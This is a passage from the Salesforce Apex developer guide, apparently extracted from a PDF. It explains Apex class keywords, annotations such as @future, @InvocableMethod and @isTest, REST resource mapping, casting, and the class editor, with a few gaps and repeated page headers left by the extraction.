Non-final static variables are used to communicate state at the class level (such as state between triggers). However, they are not
shared across requests.
Methods and classes are final by default. You cannot use the final keyword in the declaration of a class or method. This means
they cannot be overridden. Use the virtual keyword if you need to override a method or class.

Classes, Objects, and Interfaces

Using the instanceof Keyword

If you need to verify at run time whether an object is actually an instance of a particular class, use the instanceof keyword. The
instanceof keyword can only be used to verify if the target type in the expression on the right of the keyword is a viable alternative
for the declared type of the expression on the left.
You could add the following check to the Report class in the classes and casting example before you cast the item back into a
CustomReport object.
If (Reports.get(0) instanceof CustomReport) {
// Can safely cast it back to a custom report object
CustomReport c = (CustomReport) Reports.get(0);
} Else {
// Do something with the non-custom-report.
}

Note: In Apex saved with API version 32.0 and later, instanceof returns false if the left operand is a null object. For
example, the following sample returns false.
Object o = null;
Boolean result = o instanceof Account;
System.assertEquals(false, result);

In API version 31.0 and earlier, instanceof returns true in this case.

Using the super Keyword

The super keyword can be used by classes that are extended from virtual or abstract classes. By using super, you can override
constructors and methods from the parent class.
For example, if you have the following virtual class:
public virtual class SuperClass {
public String mySalutation;
public String myFirstName;
public String myLastName;
public SuperClass() {
mySalutation = 'Mr.';
myFirstName = 'Carl';
myLastName = 'Vonderburg';
}
public SuperClass(String salutation, String firstName, String lastName) {
mySalutation = salutation;
myFirstName = firstName;
myLastName = lastName;
}
public virtual void printName() {
System.debug('My name is ' + mySalutation + myLastName);
}

Classes, Objects, and Interfaces

Using the this Keyword

public virtual String getFirstName() {

return myFirstName;
}
}

You can create the following class that extends Superclass and overrides its printName method:
public class Subclass extends Superclass {
public override void printName() {
super.printName();
System.debug('But you can call me ' + super.getFirstName());
}
}

The expected output when calling Subclass.printName is My name is Mr. Vonderburg. But you can call
me Carl.

You can also use super to call constructors. Add the following constructor to SubClass:
public Subclass() {
super('Madam', 'Brenda', 'Clapentrap');
}

Now, the expected output of Subclass.printName is My name is Madam Clapentrap. But you can call
me Brenda.

Best Practices for Using the super Keyword

Only classes that are extending from virtual or abstract classes can use super.
You can only use super in methods that are designated with the override keyword.

Using the this Keyword

There are two different ways of using the this keyword.
You can use the this keyword in dot notation, without parenthesis, to represent the current instance of the class in which it appears.
Use this form of the this keyword to access instance variables and methods. For example:
public class myTestThis {
string s;
{
this.s = 'TestString';
}
}

In the above example, the class myTestThis declares an instance variable s. The initialization code populates the variable using the
this keyword.
Or you can use the this keyword to do constructor chaining, that is, in one constructor, call another constructor. In this format, use
the this keyword with parentheses. For example:
public class testThis {

Classes, Objects, and Interfaces

Using the transient Keyword

// First constructor for the class. It requires a string parameter.

public testThis(string s2) {
}
// Second constructor for the class. It does not require a parameter.
// This constructor calls the first constructor using the this keyword.
public testThis() {
this('None');
}
}

When you use the this keyword in a constructor to do constructor chaining, it must be the first statement in the constructor.

Using the transient Keyword

Use the transient keyword to declare instance variables that can't be saved, and shouldn't be transmitted as part of the view state
for a Visualforce page. For example:
Transient Integer currentTotal;

You can also use the transient keyword in Apex classes that are serializable, namely in controllers, controller extensions, or classes
that implement the Batchable or Schedulable interface. In addition, you can use transient in classes that define the types
of fields declared in the serializable classes.
Declaring variables as transient reduces view state size. A common use case for the transient keyword is a field on a Visualforce
page that is needed only for the duration of a page request, but should not be part of the page's view state and would use too many
system resources to be recomputed many times during a request.
Some Apex objects are automatically considered transient, that is, their value does not get saved as part of the page's view state. These
objects include the following:
PageReferences
XmlStream classes
Collections automatically marked as transient only if the type of object that they hold is automatically marked as transient, such as
a collection of Savepoints
Most of the objects generated by system methods, such as Schema.getGlobalDescribe.
JSONParser class instances.
Static variables also don't get transmitted through the view state.
The following example contains both a Visualforce page and a custom controller. Clicking the refresh button on the page causes the
transient date to be updated because it is being recreated each time the page is refreshed. The non-transient date continues to have
its original value, which has been deserialized from the view state, so it remains the same.
<apex:page controller="ExampleController">
T1: {!t1} <br/>
T2: {!t2} <br/>
<apex:form>
<apex:commandLink value="refresh"/>
</apex:form>
</apex:page>
public class ExampleController {

Classes, Objects, and Interfaces

Using the with sharing or without sharing Keywords

DateTime t1;
transient DateTime t2;
public String getT1() {
if (t1 == null) t1 = System.now();
return '' + t1;
}
public String getT2() {
if (t2 == null) t2 = System.now();
return '' + t2;
}
}

Using the with sharing or without sharing Keywords

Use the with sharing or without sharing keywords on a class to specify whether or not to enforce sharing rules.
The with sharing keyword allows you to specify that the sharing rules for the current user be taken into account for a class. You
have to explicitly set this keyword for the class because Apex code runs in system context. In system context, Apex code has access to
all objects and fields object permissions, field-level security, sharing rules arent applied for the current user. This is to ensure that
code wont fail to run because of hidden fields or objects for a user. The only exceptions to this rule are Apex code that is executed with
the executeAnonymous call and Chatter in Apex. executeAnonymous always executes using the full permissions of the
current user. For more information on executeAnonymous, see Anonymous Blocks on page 208.
Use the with sharing keywords when declaring a class to enforce the sharing rules that apply to the current user. For example:
public with sharing class sharingClass {
// Code here
}

Use the without sharing keywords when declaring a class to ensure that the sharing rules for the current user are not enforced.
For example, you may want to explicitly turn off sharing rule enforcement when a class acquires sharing rules when it is called from
another class that is declared using with sharing.
public without sharing class noSharing {
// Code here
}

Some things to note about sharing keywords:

The sharing setting of the class where the method is defined is applied, not of the class where the method is called. For example, if
a method is defined in a class declared with with sharing is called by a class declared with without sharing, the method
will execute with sharing rules enforced.

Classes, Objects, and Interfaces

Annotations

If a class isnt declared as either with or without sharing, the current sharing rules remain in effect. This means that the class doesnt
enforce sharing rules except if it acquires sharing rules from another class. For example, if the class is called by another class that has
sharing enforced, then sharing is enforced for the called class.
Both inner classes and outer classes can be declared as with sharing. The sharing setting applies to all code contained in the
class, including initialization code, constructors, and methods.
Inner classes do not inherit the sharing setting from their container class.
Classes inherit this setting from a parent class when one class extends or implements another.

Annotations
An Apex annotation modifies the way that a method or class is used, similar to annotations in Java.
Annotations are defined with an initial @ symbol, followed by the appropriate keyword. To add an annotation to a method, specify it
immediately before the method or class definition. For example:
global class MyClass {
@future
Public static void myMethod(String a)
{
//long-running Apex code
}
}

Apex supports the following annotations.

@AuraEnabled
@Deprecated
@Future
@InvocableMethod
@InvocableVariable
@IsTest
@ReadOnly
@RemoteAction
@TestSetup
@TestVisible
Apex REST annotations:
@RestResource(urlMapping='/yourUrl')
@HttpDelete
@HttpGet
@HttpPatch
@HttpPost
@HttpPut

Classes, Objects, and Interfaces

AuraEnabled Annotation

IN THIS SECTION:
1. AuraEnabled Annotation
2. Deprecated Annotation
3. Future Annotation
4. InvocableMethod Annotation
Use the InvocableMethod annotation to identify methods that can be run as invocable actions.
5. InvocableVariable Annotation
Use the InvocableVariable annotation to identify variables used by invocable methods in custom classes.
6. IsTest Annotation
7. ReadOnly Annotation
8. RemoteAction Annotation
9. TestSetup Annotation
Methods defined with the @testSetup annotation are used for creating common test records that are available for all test
methods in the class.
10. TestVisible Annotation
11. Apex REST Annotations

AuraEnabled Annotation
The @AuraEnabled annotation enables client- and server-side access to an Apex controller method. Providing this annotation makes
your methods available to your Lightning components. Only methods with this annotation are exposed. For more information, see the
Lightning Components Developer's Guide.

Deprecated Annotation
Use the deprecated annotation to identify methods, classes, exceptions, enums, interfaces, or variables that can no longer be
referenced in subsequent releases of the managed package in which they reside. This is useful when you are refactoring code in managed
packages as the requirements evolve. New subscribers cannot see the deprecated elements, while the elements continue to function
for existing subscribers and API integrations.
The following code snippet shows a deprecated method. The same syntax can be used to deprecate classes, exceptions, enums, interfaces,
or variables.
@deprecated
// This method is deprecated. Use myOptimizedMethod(String a, String b) instead.
global void myMethod(String a) {
}

Note the following rules when deprecating Apex identifiers:

Unmanaged packages cannot contain code that uses the deprecated keyword.
When an Apex item is deprecated, all global access modifiers that reference the deprecated identifier must also be deprecated.
Any global method that uses the deprecated type in its signature, either in an input argument or the method return type, must also
be deprecated. A deprecated item, such as a method or a class, can still be referenced internally by the package developer.
webService methods and variables cannot be deprecated.

Classes, Objects, and Interfaces

Future Annotation

You can deprecate an enum but you cannot deprecate individual enum values.
You can deprecate an interface but you cannot deprecate individual methods in an interface.
You can deprecate an abstract class but you cannot deprecate individual abstract methods in an abstract class.
You cannot remove the deprecated annotation to undeprecate something in Apex after you have released a package version
where that item in Apex is deprecated.
For more information about package versions, see What is a Package? on page 587.

Future Annotation
Use the future annotation to identify methods that are executed asynchronously. When you specify future, the method executes
when Salesforce has available resources.
For example, you can use the future annotation when making an asynchronous Web service callout to an external service. Without
the annotation, the Web service callout is made from the same thread that is executing the Apex code, and no additional processing
can occur until the callout is complete (synchronous processing).
Methods with the future annotation must be static methods, and can only return a void type. The specified parameters must be
primitive data types, arrays of primitive data types, or collections of primitive data types. Methods with the future annotation cannot
take sObjects or objects as arguments.
To make a method in a class execute asynchronously, define the method with the future annotation. For example:
global class MyFutureClass {
@future
static void myMethod(String a, Integer i) {
System.debug('Method called with: ' + a + ' and ' + i);
// Perform long-running code
}
}

Specify (callout=true) to allow callouts in a future method. Specify (callout=false) to prevent a method from making
callouts.
The following snippet shows how to specify that a method executes a callout:
@future (callout=true)
public static void doCalloutFromFuture() {
//Add code to perform callout
}

Future Method Considerations

Remember that any method using the future annotation requires special consideration because the method does not necessarily
execute in the same order it is called.
Methods with the future annotation cannot be used in Visualforce controllers in either getMethodName or setMethodName
methods, nor in the constructor.
You cannot call a method annotated with future from a method that also has the future annotation. Nor can you call a trigger
from an annotated method that calls another annotated method.

Classes, Objects, and Interfaces

InvocableMethod Annotation

InvocableMethod Annotation
Use the InvocableMethod annotation to identify methods that can be run as invocable actions.
Invocable methods are called with the REST API and used to invoke a single Apex method. Invocable methods have dynamic input and
output values and support describe calls.
The following code sample shows an invocable method with primitive data types.
public class AccountQueryAction {
@InvocableMethod(label='Get Account Names' description='Returns the list of account names
corresponding to the specified account IDs.')
public static List<String> getAccountNames(List<ID> ids) {
List<String> accountNames = new List<String>();
List<Account> accounts = [SELECT Name FROM Account WHERE Id in :ids];
for (Account account : accounts) {
accountNames.add(account.Name);
}
return accountNames;
}
}

This code sample shows an invocable method with a specific sObject data type.
public class AccountInsertAction {
@InvocableMethod(label='Insert Accounts' description='Inserts the accounts specified and
returns the IDs of the new accounts.')
public static List<ID> insertAccounts(List<Account> accounts) {
Database.SaveResult[] results = Database.insert(accounts);
List<ID> accountIds = new List<ID>();
for (Database.SaveResult result : results) {
if (result.isSuccess()) {
accountIds.add(result.getId());
}
}
return accountIds;
}
}

Invocable Method Considerations

Only one method in a class can have the InvocableMethod annotation.
Triggers cant use invocable methods.
The invocable method must be static and public or global, and its class must be an outer class.
Other annotations cant be used with the InvocableMethod annotation.
There can be at most one input parameter and its data type must be one of the following:
A list of a primitive data type or a list of lists of a primitive data type the generic Object type is not supported.
A list of an sObject type or a list of lists of an sObject type the generic sObject type is not supported.
A list of a user-defined type, containing variables of the supported types and with the InvocableVariable annotation.
Create a custom global or public Apex class to implement your data type, and make sure your class contains at least one member
variable with the invocable variable annotation.
If the return type is not Null, the data type returned by the method must be one of the following:

Classes, Objects, and Interfaces

InvocableVariable Annotation

A list of a primitive data type or a list of lists of a primitive data type the generic Object type is not supported.
A list of an sObject type or a list of lists of an sObject type the generic sObject type is not supported.
A list of a user-defined type, containing variables of the supported types and with the InvocableVariable annotation.
Create a custom global or public Apex class to implement your data type, and make sure your class contains at least one member
variable with the invocable variable annotation.
You can use invocable methods in packages, but once you add an invocable method you cant remove it from later versions of the
package.
An invocable method can be public in a managed package, but it wont appear as an action in the Cloud Flow Designers list of
available actions while building or editing a flow. These invocable actions can still be referred to by flows within the same managed
package. Global invocable methods in a managed package can be used in flows outside the managed package, anywhere in the
organization, and appear in the Cloud Flow Designers list of available actions to add to a flow.
For more information about invocable actions, see Force.com Actions Developers Guide.

InvocableVariable Annotation
Use the InvocableVariable annotation to identify variables used by invocable methods in custom classes.
The InvocableVariable annotation identifies a class variable used as an input or output parameter for an InvocableMethod
methods invocable action. If you create your own custom class to use as the input or output to an invocable method, you can annotate
individual class member variables to make them available to the method.
The following code sample shows an invocable method with invocable variables.
global class ConvertLeadAction {
@InvocableMethod(label='Convert Leads')
global static List<ConvertLeadActionResult> convertLeads(List<ConvertLeadActionRequest>
requests) {
List<ConvertLeadActionResult> results = new List<ConvertLeadActionResult>();
for (ConvertLeadActionRequest request : requests) {
results.add(convertLead(request));
}
return results;
}
public static ConvertLeadActionResult convertLead(ConvertLeadActionRequest request) {
Database.LeadConvert lc = new Database.LeadConvert();
lc.setLeadId(request.leadId);
lc.setConvertedStatus(request.convertedStatus);
if (request.accountId != null) {
lc.setAccountId(request.accountId);
}
if (request.contactId != null) {
lc.setContactId(request.contactId);
}
if (request.overWriteLeadSource != null && request.overWriteLeadSource) {
lc.setOverwriteLeadSource(request.overWriteLeadSource);
}
if (request.createOpportunity != null && !request.createOpportunity) {

Classes, Objects, and Interfaces

InvocableVariable Annotation

lc.setDoNotCreateOpportunity(!request.createOpportunity);
}
if (request.opportunityName != null) {
lc.setOpportunityName(request.opportunityName);
}
if (request.ownerId != null) {
lc.setOwnerId(request.ownerId);
}
if (request.sendEmailToOwner != null && request.sendEmailToOwner) {
lc.setSendNotificationEmail(request.sendEmailToOwner);
}
Database.LeadConvertResult lcr = Database.convertLead(lc, true);
if (lcr.isSuccess()) {
ConvertLeadActionResult result = new ConvertLeadActionResult();
result.accountId = lcr.getAccountId();
result.contactId = lcr.getContactId();
result.opportunityId = lcr.getOpportunityId();
return result;
} else {
throw new ConvertLeadActionException(lcr.getErrors()[0].getMessage());
}
}
global class ConvertLeadActionRequest {
@InvocableVariable(required=true)
public ID leadId;
@InvocableVariable(required=true)
public String convertedStatus;
@InvocableVariable
public ID accountId;
@InvocableVariable
public ID contactId;
@InvocableVariable
public Boolean overWriteLeadSource;
@InvocableVariable
public Boolean createOpportunity;
@InvocableVariable
public String opportunityName;
@InvocableVariable
public ID ownerId;
@InvocableVariable
public Boolean sendEmailToOwner;

Classes, Objects, and Interfaces

InvocableVariable Annotation

}
global class ConvertLeadActionResult {
@InvocableVariable
public ID accountId;
@InvocableVariable
public ID contactId;
@InvocableVariable
public ID opportunityId;
}
class ConvertLeadActionException extends Exception {}
}

InvocableVariable Modifiers
The invocable variable annotation has three available modifiers, as shown in this example.
@InvocableVariable(label='yourLabel'
false))

description='yourDescription' required=(true |

All modifiers are optional.

label
The label for the variable. The default is the variable name.
description
The description for the variable. The default is Null.
required
Whether the variable is required. If not specified, the default is false. The value is ignored for output variables.

InvocableVariable Considerations
Other annotations cant be used with the InvocableVariable annotation.
Only global and public variables can be invocable variables.
The invocable variable cant be one of the following:
A type such as an interface, class, or enum.
A non-member variable such as a static or local variable.
A property.
A final variable.
Protected or private.
The data type of the invocable variable must be one of the following:
A primitive data type or a list of a primitive data type the generic Object type is not supported.
An sObject type or a list of an sObject type the generic sObject type is not supported.
For more information about invocable actions, see Force.com Actions Developers Guide.

Classes, Objects, and Interfaces

IsTest Annotation

IsTest Annotation
Use the isTest annotation to define classes and methods that only contain code used for testing your application. The isTest
annotation on methods is equivalent to the testMethod keyword.
Note: Classes defined with the isTest annotation don't count against your organization limit of 3 MB for all Apex code.
Classes and methods defined as isTest can be either private or public. Classes defined as isTest must be top-level classes.
This is an example of a private test class that contains two test methods.
@isTest
private class MyTestClass {
// Methods for testing
@isTest static void test1() {
// Implement test code
}
@isTest static void test2() {
// Implement test code
}
}

This is an example of a public test class that contains utility methods for test data creation:
@isTest
public class TestUtil {
public static void createTestAccounts() {
// Create some test accounts
}
public static void createTestContacts() {
// Create some test contacts
}
}

Classes defined as isTest can't be interfaces or enums.

Methods of a public test class can only be called from a running test, that is, a test method or code invoked by a test method, and can't
be called by a non-test request.. To learn about the various ways you can run test methods, see Run Unit Test Methods.

IsTest(SeeAllData=true) Annotation
For Apex code saved using Salesforce API version 24.0 and later, use the isTest(SeeAllData=true) annotation to grant test
classes and individual test methods access to all data in the organization, including pre-existing data that the test didnt create. Starting
with Apex code saved using Salesforce API version 24.0, test methods dont have access by default to pre-existing data in the organization.
However, test code saved against Salesforce API version 23.0 and earlier continues to have access to all data in the organization and its
data access is unchanged. See Isolation of Test Data from Organization Data in Unit Tests on page 555.
Considerations for the IsTest(SeeAllData=true) Annotation
If a test class is defined with the isTest(SeeAllData=true) annotation, this annotation applies to all its test methods
whether the test methods are defined with the @isTest annotation or the testmethod keyword.

Classes, Objects, and Interfaces

IsTest Annotation

The isTest(SeeAllData=true) annotation is used to open up data access when applied at the class or method level.
However, using isTest(SeeAllData=false) on a method doesnt restrict organization data access for that method
if the containing class has already been defined with the isTest(SeeAllData=true) annotation. In this case, the
method will still have access to all the data in the organization.
This example shows how to define a test class with the isTest(SeeAllData=true) annotation. All the test methods in this
class have access to all data in the organization.
// All test methods in this class can access all data.
@isTest(SeeAllData=true)
public class TestDataAccessClass {
// This test accesses an existing account.
// It also creates and accesses a new test account.
static testmethod void myTestMethod1() {
// Query an existing account in the organization.
Account a = [SELECT Id, Name FROM Account WHERE Name='Acme' LIMIT 1];
System.assert(a != null);
// Create a test account based on the queried account.
Account testAccount = a.clone();
testAccount.Name = 'Acme Test';
insert testAccount;
// Query the test account that was inserted.
Account testAccount2 = [SELECT Id, Name FROM Account
WHERE Name='Acme Test' LIMIT 1];
System.assert(testAccount2 != null);
}

// Like the previous method, this test method can also access all data
// because the containing class is annotated with @isTest(SeeAllData=true).
@isTest static void myTestMethod2() {
// Can access all data in the organization.
}
}

Classes, Objects, and Interfaces

IsTest Annotation

// and organization setup and metadata objects.

@isTest static void testWithOwnDataAccess() {
// This method can still access the User object.
// This query returns the first user object.
User u = [SELECT UserName,Email FROM User LIMIT 1];
System.debug('UserName: ' + u.UserName);
System.debug('Email: ' + u.Email);
// Can access the test account that is created here.
Account a = new Account(Name='Test Account');
insert a;
// Access the account that was just created.
Account insertedAcct = [SELECT Id,Name FROM Account
WHERE Name='Test Account'];
System.assert(insertedAcct != null);
}
}

IsTest(OnInstall=true) Annotation
Use the IsTest(OnInstall=true) annotation to specify which Apex tests are executed during package installation. This
annotation is used for tests in managed or unmanaged packages. Only test methods with this annotation, or methods that are part of
a test class that has this annotation, will be executed during package installation. Tests annotated to run during package installation
must pass in order for the package installation to succeed. It is no longer possible to bypass a failing test during package installation. A
test method or a class that doesn't have this annotation, or that is annotated with isTest(OnInstall=false) or isTest,
won't be executed during installation.
This example shows how to annotate a test method that will be executed during package installation. In this example, test1 will be
executed but test2 and test3 won't.
public class OnInstallClass {
// Implement logic for the class.
public void method1(){
// Some code
}
}
@isTest
private class OnInstallClassTest {
// This test method will be executed
// during the installation of the package.
@isTest(OnInstall=true)
static void test1() {
// Some test code
}
// Tests excluded from running during the
// the installation of a package.
@isTest
static void test2() {
// Some test code
}

Classes, Objects, and Interfaces

ReadOnly Annotation

static testmethod void test3() {

// Some test code
}
}

ReadOnly Annotation
The @ReadOnly annotation allows you to perform unrestricted queries against the Force.com database. All other limits still apply. It's
important to note that this annotation, while removing the limit of the number of returned rows for a request, blocks you from performing
the following operations within the request: DML operations, calls to System.schedule, calls to methods annotated with @future,
and sending emails.
The @ReadOnly annotation is available for Web services and the Schedulable interface. To use the @ReadOnly annotation,
the top level request must be in the schedule execution or the Web service invocation. For example, if a Visualforce page calls a Web
service that contains the @ReadOnly annotation, the request fails because Visualforce is the top level request, not the Web service.
Visualforce pages can call controller methods with the @ReadOnly annotation, and those methods will run with the same relaxed
restrictions. To increase other Visualforce-specific limits, such as the size of a collection that can be used by an iteration component like
<apex:pageBlockTable>, you can set the readonly attribute on the <apex:page> tag to true. For more information,
see Working with Large Sets of Data in the Visualforce Developer's Guide.

RemoteAction Annotation
The RemoteAction annotation provides support for Apex methods used in Visualforce to be called via JavaScript. This process is
often referred to as JavaScript remoting.
Note: Methods with the RemoteAction annotation must be static and either global or public.
A simple JavaScript remoting invocation takes the following form.
[namespace.]controller.method(
[parameters...,]
callbackFunction,
[configuration]
);

Table 1: Remote Request Elements

Element

Description

namespace

The namespace of the controller class. This is required if your organization has a namespace defined,
or if the class comes from an installed package.

controller

The name of your Apex controller.

method

The name of the Apex method youre calling.

parameters

A comma-separated list of parameters that your method takes.

callbackFunction

The name of the JavaScript function that will handle the response from the controller. You can also
declare an anonymous function inline. callbackFunction receives the status of the method
call and the result as parameters.

Classes, Objects, and Interfaces

TestSetup Annotation

Element

Description

configuration

Configures the handling of the remote call and response. Use this to change the behavior of a
remoting call, such as whether or not to escape the Apex methods response.

In your controller, your Apex method declaration is preceded with the @RemoteAction annotation like this:
@RemoteAction
global static String getItemId(String objectName) { ... }

Apex @RemoteAction methods must be static and either global or public.

Your method can take Apex primitives, collections, typed and generic sObjects, and user-defined Apex classes and interfaces as arguments.
Generic sObjects must have an ID or sobjectType value to identify actual type. Interface parameters must have an apexType to identify
actual type. Your method can return Apex primitives, sObjects, collections, user-defined Apex classes and enums, SaveResult,
UpsertResult, DeleteResult, SelectOption, or PageReference.
For more information, see JavaScript Remoting for Apex Controllers in the Visualforce Developer's Guide.

TestSetup Annotation
Methods defined with the @testSetup annotation are used for creating common test records that are available for all test methods
in the class.

Syntax
Test setup methods are defined in a test class, take no arguments, and return no value. The following is the syntax of a test setup method.
@testSetup static void methodName() {
}

The URL mapping is relative to https://instance.salesforce.com/services/apexrest/.
A wildcard character (*) may be used.
The URL mapping is case-sensitive. A URL mapping for my_url will only match a REST resource containing my_url and not
My_Url.
To use this annotation, your Apex class must be defined as global.

URL Guidelines
URL path mappings are as follows:
The path must begin with a '/'
If an '*' appears, it must be preceded by '/' and followed by '/', unless the '*' is the last character, in which case it need not be followed
by '/'
The rules for mapping URLs are:
An exact match always wins.
If no exact match is found, find all the patterns with wildcards that match, and then select the longest (by string length) of those.
If no wildcard match is found, an HTTP response status code 404 is returned.
The URL for a namespaced classes contains the namespace. For example, if your class is in namespace abc and the class is mapped to
your_url, then the API URL is modified as follows:
https://instance.salesforce.com/services/apexrest/abc/your_url/. In the case of a URL collision, the
namespaced class is always used.

HttpDelete Annotation
The @HttpDelete annotation is used at the method level and enables you to expose an Apex method as a REST resource. This
method is called when an HTTP DELETE request is sent, and deletes the specified resource.
To use this annotation, your Apex method must be defined as global static.

HttpGet Annotation
The @HttpGet annotation is used at the method level and enables you to expose an Apex method as a REST resource. This method
is called when an HTTP GET request is sent, and returns the specified resource.
These are some considerations when using this annotation:
To use this annotation, your Apex method must be defined as global static.
Methods annotated with @HttpGet are also called if the HTTP request uses the HEAD request method.

HttpPatch Annotation
The @HttpPatch annotation is used at the method level and enables you to expose an Apex method as a REST resource. This method
is called when an HTTP PATCH request is sent, and updates the specified resource.
To use this annotation, your Apex method must be defined as global static.

Classes, Objects, and Interfaces

Classes and Casting

HttpPost Annotation
The @HttpPost annotation is used at the method level and enables you to expose an Apex method as a REST resource. This method
is called when an HTTP POST request is sent, and creates a new resource.
To use this annotation, your Apex method must be defined as global static.

HttpPut Annotation
The @HttpPut annotation is used at the method level and enables you to expose an Apex method as a REST resource. This method
is called when an HTTP PUT request is sent, and creates or updates the specified resource.
To use this annotation, your Apex method must be defined as global static.

Classes and Casting

In general, all type information is available at runtime. This means that Apex enables casting, that is, a data type of one class can be
assigned to a data type of another class, but only if one class is a child of the other class. Use casting when you want to convert an object
from one data type to another.
In the following example, CustomReport extends the class Report. Therefore, it is a child of that class. This means that you can
use casting to assign objects with the parent data type (Report) to the objects of the child data type (CustomReport).
In the following code block, first, a custom report object is added to a list of report objects. After that, the custom report object is returned
as a report object, then is cast back into a custom report object.
Public virtual class Report {
Public class CustomReport extends Report {
// Create a list of report objects
Report[] Reports = new Report[5];
// Create a custom report object
CustomReport a = new CustomReport();
// Because the custom report is a sub class of the Report class,
// you can add the custom report object a to the list of report objects
Reports.add(a);
//
//
//
//

The following is not legal, because the compiler does not know that what you are
returning is a custom report. You must use cast to tell it that you know what
type you are returning
CustomReport c = Reports.get(0);

// Instead, get the first item in the list by casting it back to a custom report object
CustomReport c = (CustomReport) Reports.get(0);
}
}

Classes, Objects, and Interfaces

Classes and Collections

Casting Example

In addition, an interface type can be cast to a sub-interface or a class type that implements that interface.
Tip: To verify if a class is a specific type of class, use the instanceOf keyword. For more information, see Using the
instanceof Keyword on page 78.
IN THIS SECTION:
1. Classes and Collections
2. Collection Casting

Classes and Collections

Lists and maps can be used with classes and interfaces, in the same ways that lists and maps can be used with sObjects. This means, for
example, that you can use a user-defined data type for the value or the key of a map. Likewise, you can create a set of user-defined
objects.

Classes, Objects, and Interfaces

Collection Casting

If you create a map or list of interfaces, any child type of the interface can be put into that collection. For instance, if the List contains an
interface i1, and MyC implements i1, then MyC can be placed in the list.
SEE ALSO:
Using Custom Types in Map Keys and Sets

Collection Casting
Because collections in Apex have a declared type at runtime, Apex allows collection casting.
Collections can be cast in a similar manner that arrays can be cast in Java. For example, a list of CustomerPurchaseOrder objects can be
assigned to a list of PurchaseOrder objects if class CustomerPurchaseOrder is a child of class PurchaseOrder.
public virtual class PurchaseOrder {
Public class CustomerPurchaseOrder extends PurchaseOrder {
}
{
List<PurchaseOrder> POs = new PurchaseOrder[] {};
List<CustomerPurchaseOrder> CPOs = new CustomerPurchaseOrder[]{};
POs = CPOs;
}
}

Once the CustomerPurchaseOrder list is assigned to the PurchaseOrder list variable, it can be cast back to a list of
CustomerPurchaseOrder objects, but only because that instance was originally instantiated as a list of CustomerPurchaseOrder. A list of
PurchaseOrder objects that is instantiated as such cannot be cast to a list of CustomerPurchaseOrder objects, even if the list of
PurchaseOrder objects contains only CustomerPurchaseOrder objects.
If the user of a PurchaseOrder list that only includes CustomerPurchaseOrders objects tries to insert a non-CustomerPurchaseOrder
subclass of PurchaseOrder (such as InternalPurchaseOrder), a runtime exception results. This is because Apex collections
have a declared type at runtime.
Note: Maps behave in the same way as lists with regards to the value side of the Mapif the value side of map A can be cast to
the value side of map B, and they have the same key type, then map A can be cast to map B. A runtime error results if the casting
is not valid with the particular map at runtime.

Differences Between Apex Classes and Java Classes

The following is a list of the major differences between Apex classes and Java classes:
Inner classes and interfaces can only be declared one level deep inside an outer class.
Static methods and variables can only be declared in a top-level class definition, not in an inner class.
An inner class behaves like a static Java inner class, but doesnt require the static keyword. An inner class can have instance
member variables like an outer class, but there is no implicit pointer to an instance of the outer class (using the this keyword).
The private access modifier is the default, and means that the method or variable is accessible only within the Apex class in
which it is defined. If you do not specify an access modifier, the method or variable is private.
Specifying no access modifier for a method or variable and the private access modifier are synonymous.
The public access modifier means the method or variable can be used by any Apex in this application or namespace.

Classes, Objects, and Interfaces

Class Definition Creation

The global access modifier means the method or variable can be used by any Apex code that has access to the class, not just
the Apex code in the same application. This access modifier should be used for any method that needs to be referenced outside of
the application, either in the SOAP API or by other Apex code. If you declare a method or variable as global, you must also declare
the class that contains it as global.
Methods and classes are final by default.
The virtual definition modifier allows extension and overrides.
The override keyword must be used explicitly on methods that override base class methods.
Interface methods have no modifiersthey are always global.
Exception classes must extend either exception or another user-defined exception.
Their names must end with the word exception.
Exception classes have four implicit constructors that are built-in, although you can add others.
Classes and interfaces can be defined in triggers and anonymous blocks, but only as local.
SEE ALSO:
Exceptions in Apex

Class Definition Creation

To create a class in Salesforce:
1. From Setup, enter Apex Classes in the Quick Find box, then select Apex Classes.
2. Click New.
3. Click Version Settings to specify the version of Apex and the API used with this class. If your organization has installed managed
packages from the AppExchange, you can also specify which version of each managed package to use with this class. Use the default
values for all versions. This associates the class with the most recent version of Apex and the API, as well as each managed package.
You can specify an older version of a managed package if you want to access components or functionality that differs from the most
recent package version. You can specify an older version of Apex and the API to maintain specific behavior.
4. In the class editor, enter the Apex code for the class. A single class can be up to 1 million characters in length, not including comments,
test methods, or classes defined using @isTest.
5. Click Save to save your changes and return to the class detail screen, or click Quick Save to save your changes and continue editing
your class. Your Apex class must compile correctly before you can save your class.
Classes can also be automatically generated from a WSDL by clicking Generate from WSDL. See SOAP Services: Defining a Class from
a WSDL Document on page 453.
Once saved, classes can be invoked through class methods or variables by other Apex code, such as a trigger.
Note: To aid backwards-compatibility, classes are stored with the version settings for a specified version of Apex and the API. If
the Apex class references components, such as a custom object, in installed managed packages, the version settings for each
managed package referenced by the class is saved too. Additionally, classes are stored with an isValid flag that is set to true
as long as dependent metadata has not changed since the class was last compiled. If any changes are made to object names or
fields that are used in the class, including superficial changes such as edits to an object or field description, or if changes are made
to a class that calls this class, the isValid flag is set to false. When a trigger or Web service call invokes the class, the code
is recompiled and the user is notified if there are any errors. If there are no errors, the isValid flag is reset to true.

Classes, Objects, and Interfaces

Naming Conventions

The Apex Class Editor

When editing Visualforce or Apex, either in the Visualforce development mode footer or from Setup, an editor is available with the
following functionality:
Syntax highlighting
The editor automatically applies syntax highlighting for keywords and all functions and operators.
Search ( )
Search enables you to search for text within the current page, class, or trigger. To use search, enter a string in the Search textbox
and click Find Next.
To replace a found search string with another string, enter the new string in the Replace textbox and click replace to replace
just that instance, or Replace All to replace that instance and all other instances of the search string that occur in the page, class,
or trigger.
To make the search operation case sensitive, select the Match Case option.
To use a regular expression as your search string, select the Regular Expressions option. The regular expressions follow
JavaScript's regular expression rules. A search using regular expressions can find strings that wrap over more than one line.
If you use the replace operation with a string found by a regular expression, the replace operation can also bind regular expression
group variables ($1, $2, and so on) from the found search string. For example, to replace an <h1> tag with an <h2> tag and
keep all the attributes on the original <h1> intact, search for <h1(\s+)(.*)> and replace it with <h2$1$2>.
Go to line ( )
This button allows you to highlight a specified line number. If the line is not currently visible, the editor scrolls to that line.
Undo ( ) and Redo ( )
Use undo to reverse an editing action and redo to recreate an editing action that was undone.
Font size
Select a font size from the drop-down list to control the size of the characters displayed in the editor.
Line and column position
The line and column position of the cursor is displayed in the status bar at the bottom of the editor. This can be used with go to line
(

) to quickly navigate through the editor.

Line and character count

The total number of lines and characters is displayed in the status bar at the bottom of the editor.
IN THIS SECTION:
1. Naming Conventions
